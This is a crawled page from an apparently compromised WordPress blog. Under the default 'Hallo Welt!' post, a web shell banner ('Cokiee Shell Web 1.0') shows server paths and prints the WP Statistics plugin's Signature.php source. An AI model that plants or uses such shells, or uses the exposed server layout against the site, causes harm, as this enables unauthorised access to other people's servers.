Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web28/html/wp-content/plugins/wp-statistics/src/Utils/ |
Current File : //var/www/web28/html/wp-content/plugins/wp-statistics/src/Utils/Signature.php |
<?php namespace WP_Statistics\Utils; class Signature { /** * Generate a signature for the request payload using a WordPress salt. * * @param array $payload The request payload. * @return string The generated signature. */ public static function generate($payload) { $salt = wp_salt(); return md5($salt . json_encode($payload)); } /** * Check if the provided signature matches the generated signature for the given payload. * * @param array $payload The request payload. * @param string $signature The provided signature. * @return bool True if the signatures match, false otherwise. */ public static function check($payload, $signature) { return self::generate($payload) === $signature; } }
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare